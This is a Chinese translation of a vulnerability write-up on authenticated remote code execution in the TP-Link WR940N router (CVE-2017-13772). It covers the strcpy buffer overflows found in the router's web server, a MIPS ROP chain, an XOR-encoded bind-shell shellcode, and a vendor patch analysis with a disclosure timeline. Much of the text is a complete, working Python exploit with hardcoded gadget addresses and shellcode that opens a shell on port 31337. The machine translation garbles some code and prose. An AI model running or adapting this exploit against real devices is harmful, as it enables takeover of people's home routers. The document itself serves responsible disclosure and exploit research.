在这篇文章中,我将讨论我最近的发现,同时对家庭路由器进行脆弱性研究:TP-Link的WR940N家庭WiFi路由器。
这篇文章将概述识别易受攻击的代码路径的步骤,以及如何利用这些路径来获取远程执行代码。我将首先描述我如何发现第一个漏洞,为开发完整的漏洞利用所采取的方法,然后通过显示此漏洞提供了一个“模式”,从而将该设备暴露给数百个漏洞。
我进行这项研究的设备是TP-Link的WR940N家庭WiFi路由器(硬件版本4)。一般来说,在物联网(IoT)设备开始研究周期时,我所做的第一件事是抓住固件的副本并提取文件系统。
固件链接:https://static.tp-link.com/TL-WR940N(US)_V4_160617_1476690524248q.zip
我们可以在这里看到二进制文件已经识别和提取文件系统。下一步是收集有关设备上运行的信息的几点信息。首先,我抓住影子文件的内容(很快你就会知道我这么做的原因)。
我研究过的大多数嵌入式系统都使用busybox,所以重要的是要看到我们可以运行什么,我们应该找到一些形式的shell注入。有两种方法可以做到这一点:一个将列出所有符号链接到busybox。但是,我喜欢在chrooted环境下运行qemu下的busybox二进制文件,因为它会告诉我们它启用了哪些实用程序:
虽然没有telnetd,netcat等。但是,我们有tftp,我们可以使用,如果我们能够获得shell注入。最后,快速查看rc.d / rcS显示,路由器启动时最后一件事情是运行httpd二进制文件,我以为我会从这里开始,因为HTTP守护进程通常会显示一个大的攻击面。
如上所述,如果我将用户输入提供给比JavaScript代码允许的接口更大的接口,则HTTP服务将会崩溃。
在IDA中打开二进制文件,清楚地显示了正在发生的事情,从sub_453C50开始,典型的检查请求的功能是有效和经过身份验证的:
接下来,调用httpGetEnv,请注意,像“ping_addr”,“isNew”等值是通过GET参数传递的值。然后再来(仍然在同一个函数),ipAddrDispose被调用:
此功能是(第一)漏洞存在的位置。在函数开始时,将声明一个堆栈变量var_AC。然后将它作为目标参数传递给对strcpy的调用,这里的问题是源参数($ s1)是函数的第一个参数,并且没有对其长度进行验证,这是一个经典的缓冲区溢出。
我写了一个快速的python脚本来触发漏洞 - 注意登录功能。当我们登录到此设备时,会生成随机URL。
import urllib2 import urllib import base64 import hashlibdef login(ip,user,pwd): ####生成b64enc形式的auth cookie('admin:'+ md5('admin')) hash = hashlib.md5() hash .update(pwd) auth_string =“%s:%s”%(user,hash.hexdigest()) encoded_string = base64.b64encode(auth_string) print“[debug]编码授权:%s”%encoded_string ####发送请求 url =“http://”+ ip +“/userRpm/LoginRpm.htm?Save = Save” req = urllib2.Request(url)req.add_header('Cookie','Authorization = Basic%s'%encoded_string ) resp = urllib2.urlopen(req)####服务器为进一步的请求生成一个随机路径,在这里获取 data = resp.read() next_url =“http://%s /%s / userRpm /”%(ip,data.split(“=”)[2] .split(“/”)[3]) print“[debug]对于下一阶段,url现在是%s“%next_urlreturn(next_url,encoded_string) def exploit(url,auth): #控制s0,s1 + ra + shellcode evil =“\ x41”* 800 params = {'ping_addr':evil,'doType':'ping','isNew' new','sendNum':'20','pSize':'64','overTime':'800','trHops':'20'} new_url = url +“PingIframeRpm.htm?”+ urllib.urlencode(params) req = urllib2.Request(new_url) req.add_header('Cookie','Authorization = Basic%s'%auth) req.add_header('Referer',url +“DiagnosticRpm.htm”)resp = urllib2.urlopen(req)if __name__ =='__main__': data = login(“192.168.0.1”,“admin”,“admin”) exploit(data [0],data [1])
参考:http://cdn.imgtec.com/mips-training/mips-basic-training-course/slides/Caches.pdf
正如我发现的许多在线资源所述,刷新缓存的最佳方式是将ROP调入睡眠状态。触发该漏洞后,我将最终进行两次呼叫,一次直接进入休眠状态,第二次,我的解码器完成了以不良字节解码指令(稍后再说)。
要确定要使用哪些小工具,我们必须确定可执行哪些库及其所在的地址(请注意,默认情况下不启用ASLR)。
httpd maps: 00400000-00587000 r-xp 00000000 1f:02 64 / usr / bin / httpd 00597000-005b7000 rw-p 00187000 1f:02 64 / usr / bin / httpd 005b7000-00698000 rwxp 00000000 00:00 0 [heap] 2aaa8000 -2aaad000 r-xp 00000000 1f:02 237 /lib/ld-uClibc-0.9.30.so 2aaad000-2aaae000 rw-p 00000000 00:00 0 2aaae000-2aab2000 rw-s 00000000 00:06 0 / SYSV0000002f(已删除) 2aabc000 -2aabd000 r-p 00004000 1f:02 237 /lib/ld-uClibc-0.9.30.so 2aabd000-2aabe000 rw-p 00005000 1f:02 237 /lib/ld-uClibc-0.9.30.so 2aabe000-2aacb000 r- xp 00000000 1f:02 218 /lib/libpthread-0.9.30.so 2aacb000-2aada000 -p 00000000 00:00 0 2aada000-2aadb000 r-p 0000c000 1f:02 218 /lib/libpthread-0.9.30.so 2aadb000-2aae0000 rw-p 0000d000 1f:02 218 /lib/libpthread-0.9.30.so 2aae0000-2aae2000 rw-p 00000000 00 :00 0 2aae2000-2ab3f000 r-xp 00000000 1f:02 238 /lib/libuClibc-0.9.30.so <... .. snip ... ..> 7edfc000-7ee00000 rwxp 00000000 00:00 0 7effc000-7f000000 rwxp 00000000 00:00 0 7f1fc000-7f200000 rwxp 00000000 00:00 0 7f3fc000-7f400000 rwxp 00000000 00:00 0 7f5fc000-7f600000 rwxp 00000000 00:00 0 7fc8b000-7fca0000 rwxp 00000000 00:00 0 [stack]
LibuClibC-0.9.30.so看起来像一个好的目标,在IDA中打开它,并使用http://www.devttys0.com/2013/10/mips-rop-ida-plugin/中的mipsrop.py脚本,我们可以开始寻找小工具。
首先,我们需要一个小工具:
li $ a0,1 mov $ t9,$ s0或$ s1 #we控制$ s0和$ s1 jr $ t9
这是我用来唤醒sleep的gadget 它的地址将覆盖ipAddrDispose的返回地址。
我们需要的下一个 gadget(将放入$ s1)需要调用sleep,但在它需要将我们要睡眠后调用的小工具的地址放在ra中。我们可以使用mipsrop.tail()来找到这样的小工具
这个 gadget 运行良好,这里唯一要注意的是它会在第一次运行时自动调用它。
第一次被调用时,$ s1将包含0x2AE3840,将用作$ t9中的地址跳转。要让这个小工具正常工作,我们需要准备堆栈,在第一次调用时,我们需要将sleep地址放在$ s1中,因此需要在0x20($ sp)。在第二次调用gadget时,$ t9将具有sleep地址,我们需要将要调用的下一个gadget的地址设置为0x24($ sp),然后我们可能需要填写$ s0和$ s1与我们的最终gadget(将跳转到我们的shellcode)
这给了我们以下payload:
rop =“A”* 164 + call_sleep + prepare_sleep +“B”* 0x20 + sleep_addr $ s0 $ s1 $ ra rop + =“C”* 0x20 +“D”* 4 +“E”* 4 + next_gadg
nop =“\ x22 \ x51 \ x44 \ x44” gadg_1 =“\ x2A \ xB3 \ x7C \ x60” gadg_2 =“\ x2A \ xB1 \ x78 \ x40” sleep_addr =“\ x2a \ xb3 \ x50 \ x90 ” stack_gadg = “\ x2A \ xAF \ x84 \ xC0” call_code =“\ x2A \ xB2 \ xDC \ xF0”def first_exploit(url,auth): #trash $ s1 $ ra rop =“A”* 164 + gadg_2 + gadg_1 +“B “* 0x20 + sleep_addr rop + =”C“* 0x20 + call_code +”D“* 4 + stack_gadg + nop * 0x20 + shellcode
当这个漏洞运行时,我们最后会停在sled(滑板指令上),唯一要做的就是:写一些shellcode,识别坏字符,并将<decode> + <sleep> + <编码shellcode>附加到漏洞。
我发现唯一不好的字节是0x20,然而0x00也是必须要处理的。
我努力使任何典型的有效载荷正常工作,msf_venom将无法使用mips / long_xor编码。我也无法获得 bowcaster 的有效载荷。我以前没有写过mips shellcode,所以我决定写一个非常简单的编码器,它只能通过引用它们在堆栈上的偏移来对具有不良字节的指令进行操作。
.set noreorder #nop addi $s5, $s6, 0x4444#xor key li $s1, 2576980377#get address of stack la $s2, 1439($sp)#s2 -> end of shellcode (end of all shellcode) addi $s2, $s2, -864#decode first bad bytes lw $t2, -263($s2) xor $v1, $s1, $t2 sw $v1, -263($s2)#decode 2nd bad bytes lw $t2, -191($s2) xor $v1, $s1, $t2 sw $v1, -191($s2)<…snip…>##### sleep #####li $v0, 4166 li $t7, 0x0368 addi $t7, $t7, -0x0304 sw $t7, -0x0402($sp) sw $t7, -0x0406($sp) la $a0, -0x0406($sp) syscall 0x40404 addi $t4, $t4, 4444 #nop
这显然不是最有效的做事方式,因为它需要在堆栈上找到每个坏字节的偏移量
(幸运的是,mips是4字节对齐的指令,因此每个偏移是4的倍数)。它还需要计算每个坏字节指令的编码值。可以说这就完美了
写一个bind shell的shellcode非常简单。
.set noreorder ###### sys_socket ###### addiu $ sp,$ sp,-32 li $ t6,-3 或$ a0,$ t6,$ zero 或$ a1,$ t6,$ zero slti $ a2,$ 0,-1 li $ v0,4183 syscall 0x40404 ##### sys_bind #### add $ t9,$ t9,0x4444 #nop andi $ s0,$ v0,0xffff li $ t6,-17 nor $ t6,$ t6,$ zero li $ t5,0x7a69 #port 31337 li $ t7,-513 或$ t7,$ t7,$ zero sllv $ t7,$ t7,$ t6 或$ t5,$ t5,$ t7 sw $ t5,-32($ sp)sw $零,-28($ sp) sw $零,-24($ sp) sw $ 0,-20($ sp) 或$ a0,$ s0,$ s0 li $ t6,-17或$ a2,$ t6,$ zero addi $ a1,$ sp,-32 li $ v0,4169 syscall 0x40404 ##### listen ##### li $ t7,0x7350 or $ a0,$ s0,$ s0 li $ a1,257 li $ v0,4174 syscall 0x40404 ##### accept ##### li $ t7,0x7350 或$ a0,$ s0,$ s0 slti $ a1,$ zero,-1 slti $ a2,$ zero,-1 li $ v0,4168 syscall 0x40404 ##### dup fd's #### li $ t7,0x7350 andi $ s0,$ v0,0xffff 或$ a0,$ s0,$ s0 li $ t7,-3 或$ a1,$ t7,$ zero li $ v0,4063 系统调用0x40404 li $ t7,0x7350 或$ a0,$ s0,$ s0 slti $ a1,$ zero,0x0101 li $ v0,4063 系统调用0x40404 li $ t7,0x7350 或$ a0,$ s0,$ s0 slti $ a1,$零,-1 li $ v0,4063 系统调用0x40404 ###### execve ###### lui $ t7,0x2f2f ori $ t7,$ t7,0x6269 sw $ t7,-20($ sp) lui $ t6 ,0x6e2f ori $ t6,$ t6,0x7368 sw $ t6,-16($ sp) sw $ zero,-12($ sp) addiu $ a0,$ sp,-20 sw $ a0,-8($ sp) sw $ 0,-4($ sp) addiu $ a1,$ sp,-8 li $ v0,4011 syscall 0x40404 #### sleep ##### li $ v0,4166 li $ t7,0x0368 addi $ t7,$ t7,-0x0304 sw $ t7,-0x0402($ sp) sw $ t7,-0x0406($ sp) la $ a0,-0x0406($ sp) syscall 0x40404 addi $ t4,$ t4,4444
请注意,如果我们在调用execve后没有调用sleep,原始进程将会死机,从而导致所有其他httpd进程死机,从而阻止我们访问bind shell。
此漏洞的最终漏洞利用如下:
import urllib2 import urllib import base64 import hashlib import osdef login(ip, user, pwd): #### Generate the auth cookie of the form b64enc(‘admin:’ + md5(‘admin’)) hash = hashlib.md5() hash.update(pwd) auth_string = “%s:%s” %(user, hash.hexdigest()) encoded_string = base64.b64encode(auth_string) print “[debug] Encoded authorisation: %s” %encoded_string #### Send the request url = “http://” + ip + “/userRpm/LoginRpm.htm?Save=Save” print “[debug] sending login to ” + url req = urllib2.Request(url) req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %encoded_string) resp = urllib2.urlopen(req) #### The server generates a random path for further requests, grab that here data = resp.read() next_url = “http://%s/%s/userRpm/” %(ip, data.split(“/”)[3]) print “[debug] Got random path for next stage, url is now %s” %next_url return (next_url, encoded_string)#custom bind shell shellcode with very simple xor encoder #followed by a sleep syscall to flush cash before running #bad chars = 0x20, 0x00 shellcode = ( #encoder “\x22\x51\x44\x44\x3c\x11\x99\x99\x36\x31\x99\x99” “\x27\xb2\x05\x9f” “\x22\x52\xfc\xa0\x8e\x4a\xfe\xf9” “\x02\x2a\x18\x26\xae\x43\xfe\xf9\x8e\x4a\xff\x41” “\x02\x2a\x18\x26\xae\x43\xff\x41\x8e\x4a\xff\x5d” “\x02\x2a\x18\x26\xae\x43\xff\x5d\x8e\x4a\xff\x71” “\x02\x2a\x18\x26\xae\x43\xff\x71\x8e\x4a\xff\x8d” “\x02\x2a\x18\x26\xae\x43\xff\x8d\x8e\x4a\xff\x99” “\x02\x2a\x18\x26\xae\x43\xff\x99\x8e\x4a\xff\xa5” “\x02\x2a\x18\x26\xae\x43\xff\xa5\x8e\x4a\xff\xad” “\x02\x2a\x18\x26\xae\x43\xff\xad\x8e\x4a\xff\xb9” “\x02\x2a\x18\x26\xae\x43\xff\xb9\x8e\x4a\xff\xc1” “\x02\x2a\x18\x26\xae\x43\xff\xc1″#sleep “\x24\x12\xff\xff\x24\x02\x10\x46\x24\x0f\x03\x08” “\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa” “\x27\xa4\xfb\xfa\x01\x01\x01\x0c\x21\x8c\x11\x5c”################ encoded shellcode ############### “\x27\xbd\xff\xe0\x24\x0e\xff\xfd\x98\x59\xb9\xbe\x01\xc0\x28\x27\x28\x06” “\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\x23\x39\x44\x44\x30\x50\xff\xff” “\x24\x0e\xff\xef\x01\xc0\x70\x27\x24\x0d” “\x7a\x69” #<————————- PORT 0x7a69 (31337) “\x24\x0f\xfd\xff\x01\xe0\x78\x27\x01\xcf\x78\x04\x01\xaf\x68\x25\xaf\xad” “\xff\xe0\xaf\xa0\xff\xe4\xaf\xa0\xff\xe8\xaf\xa0\xff\xec\x9b\x89\xb9\xbc” “\x24\x0e\xff\xef\x01\xc0\x30\x27\x23\xa5\xff\xe0\x24\x02\x10\x49\x01\x01” “\x01\x0c\x24\x0f\x73\x50” “\x9b\x89\xb9\xbc\x24\x05\x01\x01\x24\x02\x10\x4e\x01\x01\x01\x0c\x24\x0f” “\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02\x10\x48” “\x01\x01\x01\x0c\x24\x0f\x73\x50\x30\x50\xff\xff\x9b\x89\xb9\xbc\x24\x0f” “\xff\xfd\x01\xe0\x28\x27\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f\x73\x50” “\x9b\x89\xb9\xbc\x28\x05\x01\x01\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f” “\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\xbd\x9b\x96\x46\x01\x01\x01\x0c” “\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce” “\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8” “\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c\x24\x02” “\x10\x46\x24\x0f\x03\x68\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa” “\x27\xa4\xfb\xfe\x01\x01\x01\x0c\x21\x8c\x11\x5c” )###### useful gadgets ####### nop = “\x22\x51\x44\x44” gadg_1 = “\x2A\xB3\x7C\x60” gadg_2 = “\x2A\xB1\x78\x40” sleep_addr = “\x2a\xb3\x50\x90” stack_gadg = “\x2A\xAF\x84\xC0” call_code = “\x2A\xB2\xDC\xF0″def first_exploit(url, auth): # trash $s1 $ra rop = “A”*164 + gadg_2 + gadg_1 + “B”*0x20 + sleep_addr rop += “C”*0x20 + call_code + “D”*4 + stack_gadg + nop*0x20 + shellcode params = {‘ping_addr’: rop, ‘doType’: ‘ping’, ‘isNew’: ‘new’, ‘sendNum’: ’20’, ‘pSize’: ’64’, ‘overTime’: ‘800’, ‘trHops’: ’20’} new_url = url + “PingIframeRpm.htm?” + urllib.urlencode(params)print “[debug] sending exploit…” print “[+] Please wait a few seconds before connecting to port 31337…” req = urllib2.Request(new_url) req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %auth) req.add_header(‘Referer’, url + “DiagnosticRpm.htm”) resp = urllib2.urlopen(req) if __name__ == ‘__main__’: data = login(“192.168.0.1”, “admin”, “admin”) first_exploit(data[0], data[1])
对于供应商的信用,他们在几天内为第一个漏洞提供了补丁。但是,在我的回答中,我概述了几乎所有这些对strcpy的调用都需要用更安全的字符串复制功能替代。为了证明这一点,我决定开发第二个漏洞,通过dnsserver2参数触发WanStaticIpV6CfgRpm.htm中的缓冲区溢出。
这个漏洞与以前一样,在自定义编码器中只有一个偏移量改变(因为堆栈指针指向不同的位置)。唯一的主要区别是我在Mips exploit开发研究中没有遇到的问题,这是一个字节对齐。在开发这个漏洞的时候,我不断收到非法的指令错误,我注意到,我的nop sled看起来不像以前那样:
注意所有指令是否相隔2个字节。这样做的原因实际上在于我的有效载荷:
这个缓冲区的结尾有一个我没有指定的输入,强制有效载荷结束对齐。事实证明,即使这是最后,我需要填补最终的有效载荷,使其恢复对齐,一旦完成,那么它的应用应该是:
我们得到我们的绑定shell:
最终的代码包含两个漏洞的工作漏洞如下:
(请注意,在第二个exp中,几乎所有的GET参数都容易受到缓冲区溢出的影响)
import urllib2 import base64 import hashlib from optparse import * import sys import urllibbanner = ( “___________________________________________________________________________\n” “WR940N Authenticated Remote Code Exploit\n” “This exploit will open a bind shell on the remote target\n” “The port is 31337, you can change that in the code if you wish\n” “This exploit requires authentication, if you know the creds, then\n” “use the -u -p options, otherwise default is admin:admin\n” “___________________________________________________________________________” )def login(ip, user, pwd): print “[+] Attempting to login to http://%s %s:%s”%(ip,user,pwd) #### Generate the auth cookie of the form b64enc(‘admin:’ + md5(‘admin’)) hash = hashlib.md5() hash.update(pwd) auth_string = “%s:%s” %(user, hash.hexdigest()) encoded_string = base64.b64encode(auth_string)print “[+] Encoded authorisation: %s” %encoded_string#### Send the request url = “http://” + ip + “/userRpm/LoginRpm.htm?Save=Save” print “[+] sending login to ” + url req = urllib2.Request(url) req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %encoded_string) resp = urllib2.urlopen(req) #### The server generates a random path for further requests, grab that here data = resp.read() next_url = “http://%s/%s/userRpm/” %(ip, data.split(“/”)[3]) print “[+] Got random path for next stage, url is now %s” %next_url return (next_url, encoded_string) #custom bind shell shellcode with very simple xor encoder #followed by a sleep syscall to flush cash before running #bad chars = 0x20, 0x00 shellcode = ( #encoder “\x22\x51\x44\x44\x3c\x11\x99\x99\x36\x31\x99\x99” “\x27\xb2\x05\x4b” #0x27b2059f for first_exploit “\x22\x52\xfc\xa0\x8e\x4a\xfe\xf9” “\x02\x2a\x18\x26\xae\x43\xfe\xf9\x8e\x4a\xff\x41” “\x02\x2a\x18\x26\xae\x43\xff\x41\x8e\x4a\xff\x5d” “\x02\x2a\x18\x26\xae\x43\xff\x5d\x8e\x4a\xff\x71” “\x02\x2a\x18\x26\xae\x43\xff\x71\x8e\x4a\xff\x8d” “\x02\x2a\x18\x26\xae\x43\xff\x8d\x8e\x4a\xff\x99” “\x02\x2a\x18\x26\xae\x43\xff\x99\x8e\x4a\xff\xa5” “\x02\x2a\x18\x26\xae\x43\xff\xa5\x8e\x4a\xff\xad” “\x02\x2a\x18\x26\xae\x43\xff\xad\x8e\x4a\xff\xb9” “\x02\x2a\x18\x26\xae\x43\xff\xb9\x8e\x4a\xff\xc1” “\x02\x2a\x18\x26\xae\x43\xff\xc1” #sleep “\x24\x12\xff\xff\x24\x02\x10\x46\x24\x0f\x03\x08” “\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa” “\x27\xa4\xfb\xfa\x01\x01\x01\x0c\x21\x8c\x11\x5c” ################ encoded shellcode ############### “\x27\xbd\xff\xe0\x24\x0e\xff\xfd\x98\x59\xb9\xbe\x01\xc0\x28\x27\x28\x06” “\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\x23\x39\x44\x44\x30\x50\xff\xff” “\x24\x0e\xff\xef\x01\xc0\x70\x27\x24\x0d” “\x7a\x69” #<————————- PORT 0x7a69 (31337) “\x24\x0f\xfd\xff\x01\xe0\x78\x27\x01\xcf\x78\x04\x01\xaf\x68\x25\xaf\xad” “\xff\xe0\xaf\xa0\xff\xe4\xaf\xa0\xff\xe8\xaf\xa0\xff\xec\x9b\x89\xb9\xbc” “\x24\x0e\xff\xef\x01\xc0\x30\x27\x23\xa5\xff\xe0\x24\x02\x10\x49\x01\x01” “\x01\x0c\x24\x0f\x73\x50” “\x9b\x89\xb9\xbc\x24\x05\x01\x01\x24\x02\x10\x4e\x01\x01\x01\x0c\x24\x0f” “\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02\x10\x48” “\x01\x01\x01\x0c\x24\x0f\x73\x50\x30\x50\xff\xff\x9b\x89\xb9\xbc\x24\x0f” “\xff\xfd\x01\xe0\x28\x27\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f\x73\x50” “\x9b\x89\xb9\xbc\x28\x05\x01\x01\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f” “\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\xbd\x9b\x96\x46\x01\x01\x01\x0c” “\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce” “\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8” “\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c\x24\x02” “\x10\x46\x24\x0f\x03\x68\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa” “\x27\xa4\xfb\xfe\x01\x01\x01\x0c\x21\x8c\x11\x5c” ) ###### useful gadgets ####### nop = “\x22\x51\x44\x44” gadg_1 = “\x2A\xB3\x7C\x60” gadg_2 = “\x2A\xB1\x78\x40” sleep_addr = “\x2a\xb3\x50\x90” stack_gadg = “\x2A\xAF\x84\xC0” call_code = “\x2A\xB2\xDC\xF0” def first_exploit(url, auth): # trash $s1 $ra rop = “A”*164 + gadg_2 + gadg_1 + “B”*0x20 + sleep_addr + “C”*4 rop += “C”*0x1c + call_code + “D”*4 + stack_gadg + nop*0x20 + shellcode params = {‘ping_addr’: rop, ‘doType’: ‘ping’, ‘isNew’: ‘new’, ‘sendNum’: ’20’, ‘pSize’: ’64’, ‘overTime’: ‘800’, ‘trHops’: ’20’} new_url = url + “PingIframeRpm.htm?” + urllib.urlencode(params) print “[+] sending exploit…” print “[+] Wait a couple of seconds before connecting” print “[+] When you are finished do http -r to reset the http service” req = urllib2.Request(new_url) req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %auth) req.add_header(‘Referer’, url + “DiagnosticRpm.htm”) resp = urllib2.urlopen(req) def second_exploit(url, auth): url = url + “WanStaticIpV6CfgRpm.htm?” # trash s0 s1 s2 s3 s4 ret shellcode payload = “A”*111 + “B”*4 + gadg_2 + “D”*4 + “E”*4 + “F”*4 + gadg_1 + “a”*0x1c payload += “A”*4 + sleep_addr + “C”*0x20 + call_code + “E”*4 payload += stack_gadg + “A”*4 + nop*10 + shellcode + “B”*7 print len(payload) params = {‘ipv6Enable’: ‘on’, ‘wantype’: ‘2’, ‘ipType’: ‘2’, ‘mtu’: ‘1480’, ‘dnsType’: ‘1’, ‘dnsserver2’: payload, ‘ipAssignType’: ‘0’, ‘ipStart’: ‘1000’, ‘ipEnd’: ‘2000’, ‘time’: ‘86400’, ‘ipPrefixType’: ‘0’, ‘staticPrefix’: ‘AAAA’, ‘staticPrefixLength’: ’64’, ‘Save’: ‘Save’, ‘RenewIp’: ‘1’} new_url = url + urllib.urlencode(params) print “[+] sending exploit…” print “[+] Wait a couple of seconds before connecting” print “[+] When you are finished do http -r to reset the http service” req = urllib2.Request(new_url) req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %auth) req.add_header(‘Referer’, url + “WanStaticIpV6CfgRpm.htm”) resp = urllib2.urlopen(req) if __name__ == ‘__main__’: print banner username = “admin” password = “admin” parser = OptionParser() parser.add_option(“-t”, “–target”, dest=”host”, help=”target ip address”) parser.add_option(“-u”, “–user”, dest=”username”, help=”username for authentication”, default=”admin”) parser.add_option(“-p”, “–password”, dest=”password”, help=”password for authentication”, default=”admin”) (options, args) = parser.parse_args() if options.host is None: parser.error(“[x] A host name is required at the minimum [x]”) if options.username is not None: username = options.username if options.password is not None: password = options.password (next_url, encoded_string) = login(options.host, username, password) ###### Both exploits result in the same bind shell ###### #first_exploit(data[0], data[1]) second_exploit(next_url, encoded_string)
为了补丁这些漏洞,供应商需要用更安全的操作(如strncpy)来代替大部分对strcpy的调用。为了他们的信誉,他们非常快地实现了这一点,并在一周内提供了一个补丁,报告其他脆弱的代码区域。我将快速分析所制作的补丁。
首先要做的最简单的事情就是看看strcpy的交叉引用,从脆弱的二进制文件中我们有700多个调用,在修补版本中,我们可以看到不再是这样:
对这些位置的进一步分析显示,这些调用不对用户输入进行操作,例如:
现在,如果我们分析一个我们知道的区域是易受攻击的,例如dnsserver2 GET参数:
为了快速参考
$ a0 = dest,$ a1 = src,$ a2 = size 所以接下来我们可以看到:
0x2C在loc_452E0C之前加载到$ a2中。然后使用httpGetEnv抓取“dnsserver2”参数。如果httpGetEnv返回0,那么缓冲区var_24f被清零。否则,返回的指针被移动到$ a1。大小0x2C加载到$ a2中。目的地已经在$ a0。之后,根据httpGetEnv的结果,调用memset或strncpy(通过$ t9)。
我们可以看到,这不允许发生缓冲区溢出,因为只能将最大数量的字节复制到缓冲区中。请注意,var_24F是一个大小为0x2C的基于堆栈的缓冲区。事实上,我们现在可以看到,提供给供应商的易受攻击的模式已被一个安全模式所取代。因此,修补程序通过在用户提供的输入上删除对strcpy的调用来正确保护缓冲区溢出。
使用的工具:
Binwalk
IDA
QEMU
mipsrop.py插件
USB 2.0至TTL UART 6PIN CP2102模块串行转换器
参考文档
https://wiki.openwrt.org/toh/tp-link/tl-wr940n
http://static.tp-link.com/TL-WR940N(US)_V4_160617_1476690524248q.zip
http://www.devttys0.com/2012/10/exploiting-a-mips-stack-overflow/
http://cdn.imgtec.com/mips-training/mips-basic-training-course/slides/Caches.pdf
http://www.devttys0.com/2013/10/mips-rop-ida-plugin/
时间线
向供应商披露 - 11/8/2017
供应商的回应,初步咨询要求 - 14/8/2017
初步咨询 - 14/8/2017
测试版补丁发送供应商测试 - 17/8/2017
补丁确认工作,然而其他脆弱的地方由我自己确定,第二个漏洞是为了证明这一点。发送给供应商 - 17/8/2017
供应商的回应将研究其他脆弱地区 - 18/8/2017
供应商发送测试的第二个补丁 - 25/8/17
补丁确认以减轻漏洞(删除了500+以上的strcpy调用) - 29/8/2017
补丁发布 - 28/9/2017(仅限HW V5 US)
翻译来源:
https://www.fidusinfosec.com/tp-link-remote-code-execution-cve-2017-13772/